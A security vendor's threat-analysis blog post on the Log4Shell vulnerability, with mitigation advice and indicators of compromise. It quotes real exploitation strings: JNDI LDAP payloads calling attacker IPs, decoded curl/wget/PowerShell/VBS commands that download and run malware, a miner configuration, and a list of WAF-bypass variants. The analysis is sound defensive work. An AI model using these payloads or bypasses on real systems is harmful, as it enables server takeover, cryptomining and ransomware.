On November 24th, Alibaba security expert Chen Zhaojun reported the vulnerability known as CVE-2021-44228. Log4j is an open-source logging library deployed in cloud services and enterprise software. Since Friday, December 10th, Log4Shell has been featured in all cybersecurity media. Its popularity is due to its CVSS score of 10. It is a remote code execution (RCE) exploit.

The impact is massive, as everyone is potentially affected by this flaw. To date, tens of thousands of services have been identified as vulnerable (more than 500,000 public IP addresses are listed), including Apple, Steam, GitHub, Google, and IBM. Any application using the Log4j2 framework is likely vulnerable.

The major risk, which everyone expects in the coming weeks or months, is a surge in ransomware attacks.

1. How does this vulnerability work?
2. How can it be detected?
3. LINUX
4. WINDOWS
   1. What mitigations are available?
   2. TEHTRIS Recommendations
5. One of the biggest internet vulnerabilities to date

How does this vulnerability work?

This security flaw allows an attacker to send a web page link and a specific message to a server, forcing it to read the entire content of that page. If the page contains Java code, the server can execute it. The hacker can then take control of the server by installing malware with extreme ease. This allows them to retrieve data, use it for crypto-mining, or launch a ransomware attack.

CVE-2021-44228, known as "Log4Shell," is a vulnerability in "Log4j," a Java logging utility maintained by the Apache Software Foundation. This vulnerability is a Remote Code Execution (RCE) flaw, meaning it can be exploited remotely. It affects all Log4j2 versions from 2.0-beta9 to 2.14.1. It concerns a Java sub-product and not the Apache HTTP Server (httpd).

This vulnerability is present in all versions of Log4j 2.X (version 1.X is not affected).

Source: https://blogs.apache.org/cloudstack/entry/log4jshell

The severity of this vulnerability stems from its ease of use and its ability to exploit a service, even if it is not exposed, provided the vulnerable log reaches it.

More information available here (page kept up to date)

https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

How can it be detected?

Timeline

TEHTRIS observed exploitation of this vulnerability in the wild as early as December 10th. For example:

GET / HTTP/1.1"
${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64 encoded chunk>

When analyzing the Base64 portion:

(curl -s 45.155.205.233:5874/<service IP>:80||wget -q -O- 45.155.205.233:5874/<service IP>:80)|bash

This syntax is typical for Linux, using both curl and wget to ensure that at least one of them is installed.

LINUX

GET "/" HTTP/1.0
"${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/Y3VybCBodHRwOi8vMi41Ni41OS4xMjMvMSAtLW91dHB1dCAxO3dnZXQgLU8gMSBodHRwOi8vMi41Ni41OS4xMjMvMTtjaG1vZCAreCAxOy4vMQ==}"

Decoding it reveals a Linux command line:

The malware was successfully retrieved:

curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1

This ELF file allows .NET applications to be launched from a Linux workstation. A closer look reveals an embedded .NET component: StealthBotLinux

(001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951) whose main function is as follows:

public static void Main(string[] args)
{
Program.Install();
Program.RunMiner();
for (;;)
{
Console.ReadKey(true);
}
}

It contains another executable, linux setup0141, which it decrypts, along with a configuration file, a.json (base64 encoded), passed as a parameter to the executable:

setup0141-c a.json

This a.json file contains the following data:

{
"http": {
"enabled": true,
"host": "127.0.0.1",
"port": 26540,
"access-token": null,
"restricted": true
},
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.supportxmr.com:443",
"user": "%USER%",
"keepalive": true,
"tls": true
},
{
"url": "monerohash.com:9999",
"user": "%USER%",
"keepalive": true,
"tls": true
}
]
}

Where "%USER%" is to be replaced by 4AeriA3wiocD9gUjiw7qptRDfECriZJac8CgGbfUUPUmMSYtLE43dr2XXDN6t5vd1GWMeGjNFSDh5NUPKBKU3bBz8uatDoC

Conclusion: setup0141 appears to be a Monero miner.

WINDOWS

GET "/" HTTP/1.0
${jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtYyBpZXggKChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly90ZXh0YmluLm5ldC9yYXcvMGw4aDR4dXZ4ZScpKQ==}

Analyzing the base64 reveals PowerShell code:

powershell -c iex ((New-Object System.Net.WebClient).DownloadString('hxxps://textbin[.]net/raw/0l8h4xuvxe'))

The link contains the following information:

$a="hxxp://2.56.59.123/setup.exe";$b="c:\windows\temp\setup.exe";$c = "c:\users\public\setup.exe";Import-Module BitsTransfer;try{(New-Object System.Net.WebClient).DownloadFile($a, $b);Start-Process -FilePath $b;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $b;Start-Process -FilePath $b;exit;}catch{};try{(New-Object System.Net.WebClient).DownloadFile($a, $c);Start-Process -FilePath $c;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $c;Start-Process -FilePath $c;exit;}catch{}

The final payload was retrieved:

457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2

Here we have a direct .NET executable for Windows. Code analysis shows that it uses obfuscation mechanisms to make analysis more difficult. The payload is contained in a second .NET executable, which is launched in a new thread by our file.

This second executable is also obfuscated.

(a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13). It contains numerous mechanisms to counter detection, for example: a test to verify that the machine is connected to the Internet before launching the payload:

public static void smethod_0()
{
try
{
IPAddress[] hostAddresses = Dns.GetHostAddresses("microsoft.com");
if (0 < hostAddresses.Length)
{
return;
}
}
catch
{
}
Environment.Exit(0);
}

or checking for a debugger attached to the analysis:

public static void smethod_4()
{
bool flag = false;
Class1.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Class1.IsDebuggerPresent() || flag)
{
Environment.Exit(0);
}
}

and many others...

Analysis of this binary shows that it executes an encoded PowerShell command containing:

$a="http://%DOWNLOADADDR%/setup.exe
$b="c:\windows\temp\setup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b
Start-Process -FilePath $b;
exit;
}catch{};

Next, we have the following VBS script:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://%DOWNLOADADDR%/setup.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\setup.exe", 2
end with
set shell=CreateObject("Shell.Application")
shell.ShellExecute "cmd.exe","/c start c:\windows\temp\setup.exe","c:\windows\temp", "runas", 1

set shell=nothing

We were unable to retrieve the setup.exe executable.

In both of these scripts, the %DOWNLOADADDR% address is replaced by 2.56.59.64.

The attacker can therefore retrieve their payload (whatever it may be) and continue their attack.

What mitigation options are available?

The Apache Foundation released an emergency patch to address the vulnerability: Log4j version 2.15.0, followed by version 2.16.0 (https://logging.apache.org/log4j/2.x/security.html, which reached a CVSS score of 9.0 as of December 17).

CERT-FR provides workaround measures on its website: https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

This remains a stopgap solution, as the list of affected software is massive. Patches will need to be developed and deployed by vendors. Organizations will then need to test and deploy these updates, all of which will take time.

Technical teams are on high alert, as the only current solutions are:

• inventorying infrastructure to check for exposure
• quickly identifying all web services exposed to the Internet
• updating the Log4j2 library as soon as possible
• filtering server outbound traffic to restrict it only to authorized flows toward trusted services
• protecting servers behind WAF services
• focusing on prevention and searching for potential exploits

TEHTRIS Recommendations

In addition to these recommendations, TEHTRIS advises you to:

• patch
• audit
• verify that EDR coverage is sufficient and that fleet monitoring is effective

For example, the PowerShell mentioned above is detected by the TEHTRIS EDR

Our XDR technology will help you identify vulnerable machines; if you have the EDR, it will detect the flaw and, as a last resort, can isolate the threat to prevent attacks on the server. Depending on your TEHTRIS XDR Platform settings, the built-in hyper-automation allows for automatic remediation of attacks, 24/7.

It should also be noted that TEHTRIS has conducted an impact audit regarding the CVE-2021-44228 "Log4shell" vulnerability. It is not applicable to TEHTRIS products. Finally, TEHTRIS honeypots, integrated into the TEHTRIS Deceptive Response product, recorded exploitation attempts as soon as the vulnerability was announced.

The attacks mentioned in this article appear to be aimed at cryptocurrency mining, but we must not forget that this vulnerability could be used in the coming days as a vector for ransomware or other more serious types of attacks. Cases have already been observed in the wild.

One of the biggest Internet vulnerabilities to date

This vulnerability is considered the most significant critical flaw in the history of the Internet. No one is spared. All organizations can be affected, as can all sectors. A major challenge now awaits security teams.

TEHTRIS is sharing its IoCs with you.

IOC

IP

45.155.205.233

195.54.160.149

101.204.24.28

167.99.221.217

178.128.232.114

217.112.83.246

2.56.59.123

2.56.59.64

Sha256

457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2

3d3ab116c73dcc28e9e331c5e53b45ee12b528b56224d968b7ee949d11b253a2

001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951

a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13

Some observed WAF bypasses

${jndi:${lower:l}${lower:d}a${lower:p}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}

${jndi:dns ldap is not the only vulnerable service

$%7Bjndi:ldap

$%7Bjndi:dns